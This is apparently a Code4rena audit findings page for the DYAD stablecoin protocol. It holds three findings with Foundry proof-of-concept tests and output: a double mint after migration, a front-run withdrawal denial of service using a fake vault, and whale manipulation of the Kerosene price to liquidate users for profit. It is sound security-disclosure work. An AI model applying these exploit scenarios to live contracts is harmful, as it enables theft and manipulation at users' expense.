Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 50/183
Findings: 3
Award: $243.18
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
Migration process could be exploited to create a double spend opportunity by minting two times with the same collateral if the vault licenser would not be changed as DYAD token is counting the minting based on the vault manager address and NftId, because the vault managed address will change the entry in the mapper for that nftId will also be 0 (empty) so it will allow to mint more
Double spend by minting two times with the same collateral breaking the invariant of TVL > DYAD SUPPLY
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol"; import {IVaultManager} from "../src/interfaces/IVaultManager.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { FakeVault } from "./FakeVault.sol"; import { KerosineManager } from "../src/core/KerosineManager.sol"; import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol"; import { Kerosine } from "../../src/staking/Kerosine.sol"; import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol"; import { FlashLoanPool } from "./FlashLoanPool.sol"; contract VaultManagerTestV2 is VaultManagerTestHelper { address public alice; address public bob; address public carol; address public david; address public elene; address[] public users; uint public aliceNftId; uint public bobNftId; uint public carolNftId; uint public davidNftId; uint public eleneNftId; uint[] public usersNftIds; VaultManagerV2 public vaultManagerV2; Kerosine public kerosine; KerosineDenominator public kersoineDenom; KerosineManager public kerosineManager; UnboundedKerosineVault public unbondedKerosineVault; function test_mint_after_migrate_double_value_dyad_balance_bigger_then_tvl() public { uint id = mintDNft(); //deposit(weth, id, address(wethVault), 1e22); //setup weth balance uint256 wethAmount = 1e18; weth.mint(address(this), wethAmount); weth.approve(address(vaultManager), wethAmount); //vaultManagerV1 setup vaultManager.add(id, address(wethVault)); //deposit vaultManager.deposit(id, address(wethVault), wethAmount); // mintDay using VaultManagerV1 vaultManager.mintDyad(id, 666e18, RECEIVER); //maxim to mint ~150% cr vm.expectRevert(bytes4(keccak256("CrTooLow()"))); vaultManager.mintDyad(id, 1e18, RECEIVER); // can't mint more because it will be below 150% cr uint256 receiverDyadBalanceBeforeMigration = dyad.balanceOf(RECEIVER); uint256 totalUSDValueBeforeMigration = vaultManager.getTotalUsdValue(id); console.log("Receiver DYAD balance before migration: ", receiverDyadBalanceBeforeMigration / 1e18); console.log("TVL before migration: ", totalUSDValueBeforeMigration / 1e18); //Migratino happens vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser); vm.startPrank(msg.sender); vaultManagerLicenser.add(address(vaultManagerV2)); vm.stopPrank(); vaultManagerV2.add(id, address(wethVault)); vaultManagerV2.mintDyad(id, 666e18, RECEIVER); uint256 receiverDyadBalanceAfterMigration = dyad.balanceOf(RECEIVER); uint256 totalUSDValueAftereMigration = vaultManager.getTotalUsdValue(id); console.log("Receiver DYAD balance after migration: ", receiverDyadBalanceAfterMigration / 1e18); console.log("TVL after migration: ", totalUSDValueAftereMigration / 1e18); //dyad balance before & after migration assertGt(receiverDyadBalanceAfterMigration, receiverDyadBalanceBeforeMigration); //TVL before & after migration assertEq(totalUSDValueAftereMigration, totalUSDValueBeforeMigration); // TVL < DYAD balance assertGt(receiverDyadBalanceAfterMigration, totalUSDValueAftereMigration); } }
Manual Review
Create new vault licenser contract and add there only the new weth, wsteth contracts
Other
#0 - c4-pre-sort
2024-04-28T07:02:41Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:37:23Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:23Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-29T11:20:02Z
koolexcrypto marked the issue as duplicate of #1133
#4 - c4-judge
2024-05-29T14:00:43Z
koolexcrypto marked the issue as satisfactory
๐ Selected for report: Limbooo
Also found by: 0xabhay, 0xleadwizard, AM, ArmedGoose, Evo, HChang26, Infect3d, Jorgect, MiniGlome, SpicyMeatball, TheSchnilch, ahmedaghadi, favelanky, pontifex
238.0297 USDC - $238.03
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153
In VaulManagerV2, the development team have added a flash loan protection on the withdraw function to protect the price of Kerosen from manipulation. That protection does not allow an user to deposit and withdraw funds in the same block on one nft. The deposit function is just checking that the nft is valid ( has an owner ), and not if the owner have deposited inside it, also it is not checking if the vault is a real vault in the ecosystem or just a random address, this lack of sanity checks can exploit the protection mechanism to create a DOS.
The protection mechanism can be leveraged by an actor to DOS the withdraw of an user by leveraging front-running nature of ethereum transaction. Both withdraw and redeemDyad can be dos as withdraw is used by redeemDyad
We wrote a test scenario to showcase the bug: To run the test use the following command:
forge test -vvv --match-test "test_dos_withdraw_for_other_user"
pragma solidity =0.8.17; import "forge-std/console.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol"; import {IVaultManager} from "../src/interfaces/IVaultManager.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { FakeVault } from "./FakeVault.sol"; import { KerosineManager } from "../src/core/KerosineManager.sol"; import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol"; import { Kerosine } from "../../src/staking/Kerosine.sol"; import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol"; contract DOSWithdrawalFrontrunning is VaultManagerTestHelper { VaultManagerV2 public vaultManagerV2; address public bob; function test_dos_withdraw_for_other_user() public { uint id = mintDNft(); //setup weth balance uint256 wethAmount = 1000e15; weth.mint(address(this), wethAmount); vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser); //deploy wethVault for VaultManagerV2; Vault vault = new Vault( vaultManagerV2, weth, IAggregatorV3(address(wethOracle)) ); weth.approve(address(vaultManagerV2), type(uint256).max); //act as vault licenser owner vm.startPrank(msg.sender); vaultManagerLicenser.add(address(vaultManagerV2)); vaultLicenser.add(address(vault)); vm.stopPrank(); vaultManagerV2.add(id, address(vault)); //deposit funds uint256 depositBlockBumber = block.number; vaultManagerV2.deposit(id, address(vault), wethAmount); //withdraw funds next block vm.roll(depositBlockBumber + 1); vaultManagerV2.withdraw(id, address(vault), wethAmount, address(this)); //second deposit depositBlockBumber = block.number; vaultManagerV2.deposit(id, address(vault), wethAmount); //withdraw funds next block vm.roll(depositBlockBumber + 1); //bob dos the withdrawal with fakeVault, bob frontrun the withdraw tx of the other user bob = vm.addr(0x12345); vm.startPrank(bob); FakeVault fakeVault = new FakeVault(); vaultManagerV2.deposit(id, address(fakeVault), 0); vm.stopPrank(); //Alice tries to withdraw vm.expectRevert(bytes4(keccak256("DepositedInSameBlock()"))); vaultManagerV2.withdraw(id, address(vault), wethAmount, address(this)); } }
Test output:
Ran 1 test for test/DOSWithdrawalFrontrunning.sol:WhaleHoneypotSupplyShock [PASS] test_dos_withdraw_for_other_user() (gas: 3897299) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.87ms (474.71ยตs CPU time)
Manual Review
Add the following changes to deposit function to make sure that only the owner of an nft can deposit funds into it and the vault needs to be licensed.
function deposit( uint id, address vault, uint amount ) external - isValidDNft(id) + isDNftOwner(id) { idToBlockOfLastDeposit[id] = block.number; + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
DoS
#0 - c4-pre-sort
2024-04-27T11:31:24Z
JustDravee marked the issue as high quality report
#1 - c4-pre-sort
2024-04-27T11:31:30Z
JustDravee marked the issue as duplicate of #1103
#2 - c4-pre-sort
2024-04-27T11:45:49Z
JustDravee marked the issue as duplicate of #489
#3 - c4-judge
2024-05-05T20:38:11Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T20:48:55Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T20:48:58Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:29:18Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:51:17Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:29Z
koolexcrypto changed the severity to 3 (High Risk)
#9 - stefanandy
2024-05-17T08:41:54Z
If issue #1266 is considered alone, I think this should be added also as a dup of it ( besides the already dup of #1001 ), as it can be seen in the unittest that I was using an arbitrary address ( FakeVault ) contract, not actual vault, to make basically an "empty" deposit. I admit I have not added the code for the FakeVault as time was thin but I was thinking it's not necessary as it is understandable from it's name and data type that is an arbitrary vault created by the attacked and not real vault owned by DYAD protocol
#10 - c4-judge
2024-05-24T10:42:41Z
koolexcrypto marked the issue as not a duplicate
#11 - c4-judge
2024-05-24T10:42:51Z
koolexcrypto marked the issue as duplicate of #1266
#12 - koolexcrypto
2024-05-24T10:45:43Z
Thanks for the input
Because of the comment in the code, I duped it with 1266, might get partial credit depending on the quality of other issues. Please next time add all necessary code/info for PoC.
#13 - c4-judge
2024-05-28T19:12:53Z
koolexcrypto marked the issue as duplicate of #930
๐ Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L69 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L156-L169
One of the new features deployed in the migration is Kerosene, this is an erc20 token that represents a way of tokenizing DYAD surplus collateral, it can be deposited in Notes and used to increase Note mint capability.
Kerosene asset price is calculated based on the difference between the TVL in DYAD vaults ( weth, wsteth vaults) and the total minted DYAD supply (numerator) divided by the circulating supply (denominator) (the division is necessary to calculate the price per token).
The asset price is calculated live, on each request ( function call) based on the real-time values it have and that makes the asset price formula vulnerable to supply shocks when the usability is in low to medium range of values ( as it is right now on mainnet ).
The price formula vulnerability can be leveraged by an whale to create a honeypot setup that will allow to gain an unfair advantage on liquidating users by manipulating the Kerosen price
We provided the following test scenario simulating mainnet values
The test can be run using the command:
forge test -vvv --match-test "test_finding_whale_trap_manipulate_price_real_mainnet_values"
pragma solidity =0.8.17; import "forge-std/console.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultManagerTestHelper} from "./VaultManagerHelper.t.sol"; import {IVaultManager} from "../src/interfaces/IVaultManager.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { FakeVault } from "./FakeVault.sol"; import { KerosineManager } from "../src/core/KerosineManager.sol"; import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol"; import { Kerosine } from "../../src/staking/Kerosine.sol"; import { KerosineDenominator } from "../../src/staking/KerosineDenominator.sol"; contract WhaleHoneypotSupplyShock is VaultManagerTestHelper { VaultManagerV2 public vaultManagerV2; Kerosine public kerosine; KerosineDenominator public kersoineDenom; KerosineManager public kerosineManager; UnboundedKerosineVault public unbondedKerosineVault; function test_finding_whale_trap_manipulate_price_real_mainnet_values() public { // /// !!! Attention for testing purpouse 1 eth = 1 000$ ( 1k ) /// !!! mainnet values right now: /// 1. dyad holders ==> 118 /// 2. TVL => 1.91$ M /// 3. dyad.totalSupply (minted) => 632967400000000000000000 / 1e18 = 632967.4$ ( ~632$k) /// 4. 1 billion Kerosene distributed over 10 years ==> ~100 millions first year (rounded up/down for easier simulation) // 5. ~kerosene price at launch 127805 / 1e8 ==> 0.00127805 per token /// 6. ~100 milions tokens * 0.00127805$ per token ==> value worth of 127805$ /// 7. Kerosene tokens are distributed to users that provide liquidity for DYAD and staking LP tokens based on that we can assume that a healthy % of users who will receive kerosene initally will be around 30% (could be more/less), that's eq of ~35 users /// 8. ( Just for testing ) 127805$ / ~35 users = 3651$ per user ( in avg ) /// !!! On avg each holder have ~5k minted dyad and and locked ~16k // //Migrate to VaultManagerV2 and deploy kerosine vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser); kerosine = new Kerosine(); kersoineDenom = new KerosineDenominator(kerosine); kerosineManager = new KerosineManager(); unbondedKerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); unbondedKerosineVault.setDenominator(kersoineDenom); vaultManagerV2.setKeroseneManager(kerosineManager); //deploy wethVault for VaultManagerV2; Vault vault = new Vault( vaultManagerV2, weth, IAggregatorV3(address(wethOracle)) ); //add wethvault into keronineManager for kersoene price calculations ( as it's depended of tvl) kerosineManager.add(address(vault)); //license vaults { vm.startPrank(msg.sender); vaultManagerLicenser.add(address(vaultManagerV2)); vaultLicenser.add(address(vault)); vaultLicenser.add(address(unbondedKerosineVault)); vm.stopPrank(); } (address[] memory randomUsersForKeroseenDistriubtion, uint256[] memory randomUsersNftIds) = add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(vault); //kerosen price at vault migration & deployment uint kerosenePrice = unbondedKerosineVault.assetPrice(); console.log("Kerosene Value: ", kerosenePrice); assertEq(kerosenePrice, 127805); //distribute kerosene to users, ! We are that the whole allocation for the year will not be allocated in one go, however that fact does not change the issue and it's for testing pupouses only (uint256 kerosenePerUser, address[] memory fiveRandomUsers, uint256[] memory fiveRandomUsersNftIds) = disribute_kerosen_to_the_lps_and_take_five_random_users(randomUsersForKeroseenDistriubtion, randomUsersNftIds); kerosenePrice = unbondedKerosineVault.assetPrice(); console.log("Kerosene Value after kerosene distribution: ", kerosenePrice); assertEq(kerosenePrice, 127805); //Take the 5 random users that got kerosene, add it to the collateral and mint more DYAD; { for(uint i=0; i < fiveRandomUsers.length; i++){ vm.startPrank(fiveRandomUsers[i]); vaultManagerV2.add(fiveRandomUsersNftIds[i], address(unbondedKerosineVault)); kerosine.approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.deposit(fiveRandomUsersNftIds[i], address(unbondedKerosineVault), kerosenePerUser); // Users collateral ration is now ~370% uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]); console.log("Cr after putting kerosene", cr / 1e16); // Seeing that their cr increase they will mint more dyad next block // Cr is now %160 after more minting, users are bullish on kerosene & dyad stability vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 6900e18, fiveRandomUsers[i]); cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]); console.log("Cr after putting kerosene & minting more dyad", cr / 1e16); vm.stopPrank(); } kerosenePrice = unbondedKerosineVault.assetPrice(); console.log("Kerosene Value after kerosene distribution & 5 users deposits: ", kerosenePrice); } uint whaleNftId = mintDNft(); uint whaleAmount = 4000e18; //Whale deposit funds and stay silent and wait for users to fail into honeypot { // we simulate whale have 4 millons to spend on honeypot, 1 eth = 1k$ weth.mint(address(this), whaleAmount); deal(address(this), 2 ether); weth.approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.deposit(whaleNftId, address(vault), whaleAmount); // Price have increase more then 4x; uint keroseneOldPrice = kerosenePrice; kerosenePrice = unbondedKerosineVault.assetPrice(); console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,0012.. now 0,005... assertGt(kerosenePrice, keroseneOldPrice); } //Now the users check their cr, see the price of kerosene have drastically increase and mint more { for(uint i=0; i < fiveRandomUsers.length; i++){ vm.startPrank(fiveRandomUsers[i]); //User collateral is ..% after price increase by whale uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]); console.log("Cr after kerosene price increase by whale", cr / 1e16); vaultManagerV2.mintDyad(fiveRandomUsersNftIds[i], 7000e18, fiveRandomUsers[i]); // Cr after minting more dyad is again ~160%, they trying to keep it close cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]); console.log("Cr after kerosene price increase by whale & minting more dyad", cr / 1e16); vm.stopPrank(); } } //skip 1 block uint256 currentBlock = block.number; vm.roll(currentBlock + 1); //Now the whale activate the honeypot and decrease the price by minting a lot of dyad ( all of this can happen in one tx) { vaultManagerV2.add(whaleNftId, address(vault)); uint whaleTotalValueBeforeLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId); console.log("Whale value before liqudations: ", whaleTotalValueBeforeLiqudations); //deposited 4m$, mint 850k dyad to have an aprox~470%; console.log("Whale is minting dyad"); vaultManagerV2.mintDyad(whaleNftId, 850000e18, address(this)); // Wahle cr is now 470% ( preety healthy %) uint cr = vaultManagerV2.collatRatio(whaleNftId); console.log("Whale Cr after minting of dyad is ", cr / 1e16); // Price have decrease now; uint keroseneOldPrice = kerosenePrice; kerosenePrice = unbondedKerosineVault.assetPrice(); console.log("Kerosene Value after whale deposit: ", kerosenePrice); // old 0,005.. now 0,004... assertLt(kerosenePrice, keroseneOldPrice); //Check cr of the five random users that felt into the honeypot for(uint i=0; i < fiveRandomUsers.length; i++){ //Users collateral is now ~148% after honeypot activation, time to liquidate uint cr = vaultManagerV2.collatRatio(fiveRandomUsersNftIds[i]); console.log("Cr after whale activated honeypot", cr / 1e16); } //whale liquidations starts for(uint i=0; i < fiveRandomUsers.length; i++){ vaultManagerV2.liquidate(fiveRandomUsersNftIds[i], whaleNftId); } // whale value after liquidation // Whale have made a nice ~59-60k profit uint whaleTotalValueAfterLiqudations = vaultManagerV2.getTotalUsdValue(whaleNftId); console.log("Whale value after liqudations: ", whaleTotalValueAfterLiqudations ); assertGt(whaleTotalValueAfterLiqudations, whaleTotalValueBeforeLiqudations ); //Check users value after liquidation for(uint i=0; i < fiveRandomUsers.length; i++){ //Users collateral is now ~148% after honeypot activation, time to liquidate uint userValue = vaultManagerV2.getTotalUsdValue(fiveRandomUsersNftIds[i]); console.log("Users value after liq", userValue); } } } function add_tvl_to_simulate_mainnet_tvl_and_kerosene_price(Vault vault) public returns(address[] memory, uint256[] memory){ address[] memory randomUsersForKeroseenDistriubtion = new address[](35); uint256[] memory randomUsersNftIds = new uint256[](35); for(uint i=0; i<118; i++) { string memory mnemonic = "test test test test test test test test test test test junk"; uint256 privateKey = vm.deriveKey(mnemonic, 0); address someUser = vm.addr(privateKey); deal(someUser, 2 ether); { vm.startPrank(someUser); uint weth_amount = 16.186e18; weth.mint(someUser, weth_amount); weth.approve(address(vaultManagerV2), type(uint256).max); uint nftId = dNft.mintNft{value: 1 ether}(someUser); vaultManagerV2.add(nftId, address(vault)); vaultManagerV2.deposit(nftId, address(vault), weth_amount); vaultManagerV2.mintDyad(nftId, 5355e18, someUser); vm.stopPrank(); if(i<35) { randomUsersForKeroseenDistriubtion[i] = someUser; randomUsersNftIds[i] = nftId; } } } return (randomUsersForKeroseenDistriubtion, randomUsersNftIds); } function disribute_kerosen_to_the_lps_and_take_five_random_users(address[] memory randomUsers, uint256[] memory randomUsersNftIds) public returns(uint256, address[] memory, uint256[] memory){ address[] memory fiveRandomUsers = new address[](5); uint256[] memory fiveRandomUsersNftIds = new uint256[](5); uint256 kerosenePerUser = 2857142e18; for(uint i=0; i<randomUsers.length; i++){ // 1_00_000_000 tokens / 35 users ( could be more or less of course ) ==> 2 857 142 tokens per user kerosine.transfer(randomUsers[i], kerosenePerUser); if ( i<5) { fiveRandomUsers[i] = randomUsers[i]; fiveRandomUsersNftIds[i] = randomUsersNftIds[i]; } } return (kerosenePerUser, fiveRandomUsers, fiveRandomUsersNftIds); } }
Test output:
Ran 1 test for test/WhaleHoneypotSupplyShock.sol:WhaleHoneypotSupplyShock [PASS] test_finding_whale_trap_manipulate_price_real_mainnet_values() (gas: 46230553) Logs: Kerosene Value: 127805 Kerosene Value after kerosene distribution: 127805 Cr after putting kerosene 370 Cr after putting kerosene & minting more dyad 161 Cr after putting kerosene 370 Cr after putting kerosene & minting more dyad 161 Cr after putting kerosene 369 Cr after putting kerosene & minting more dyad 161 Cr after putting kerosene 369 Cr after putting kerosene & minting more dyad 161 Cr after putting kerosene 368 Cr after putting kerosene & minting more dyad 161 Kerosene Value after kerosene distribution & 5 users deposits: 124355 Kerosene Value after whale deposit: 524355 Cr after kerosene price increase by whale 254 Cr after kerosene price increase by whale & minting more dyad 161 Cr after kerosene price increase by whale 254 Cr after kerosene price increase by whale & minting more dyad 161 Cr after kerosene price increase by whale 253 Cr after kerosene price increase by whale & minting more dyad 161 Cr after kerosene price increase by whale 253 Cr after kerosene price increase by whale & minting more dyad 161 Cr after kerosene price increase by whale 253 Cr after kerosene price increase by whale & minting more dyad 161 Whale value before liqudations: 4000000000000000000000000 Whale is minting dyad Whale Cr after minting of dyad is 470 Kerosene Value after whale deposit: 435855 Cr after whale activated honeypot 148 Cr after whale activated honeypot 148 Cr after whale activated honeypot 148 Cr after whale activated honeypot 148 Cr after whale activated honeypot 148 Whale value after liqudations: 4059549370097842000470000 Users value after liq 7579305754671382288912 Users value after liq 7609130844643092639701 Users value after liq 7638826361507108693960 Users value after liq 7668423811849125399928 Users value after liq 7697893109701067659602 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 193.43ms (191.82ms CPU time)
We can observe at the end that the whale have made a nice ~60k profit, the profit can vary based on the number of liquidations that the whale will perform.
The time period between whale honeypot setup and honeypot activation can vary from a few blocks to a few days or weeks, depending on the whale target profits and how many liquidations wants to execute. The honeypot can be achieved as long as there is no huge drastic syncronize increased between dyad minted supply and tvl, if the honeypot can never be activated in a profitability state whale can simply withdraw funds without risking anything ( whale can of course pre-calculate the asset price to see how many users it will catch at current block )
Manual Review
Limit the amount of depositing and minting that can happen in a tx, in a block or in a day to create a more stepped curved asset price and allow the users to react if their collateral ratio is falling, for example:
function mintDyad( uint id, uint amount, address to ) external isDNftOwner(id) { uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount; if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); + if ( newDyadMinted > ( dyad.totalSupply() + (( dyad.totalSupply() / 10000) * 500)) )+ return SupplyIncresedWithMoreThenFivePercent() // revert the call if the new minted day is increasing the total supply with more then 5% in a tx dyad.mint(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); emit MintDyad(id, amount, to); }
MEV
#0 - c4-pre-sort
2024-04-28T05:54:57Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:06:19Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T09:59:11Z
koolexcrypto changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-05-08T11:50:04Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-08T12:02:56Z
koolexcrypto marked the issue as satisfactory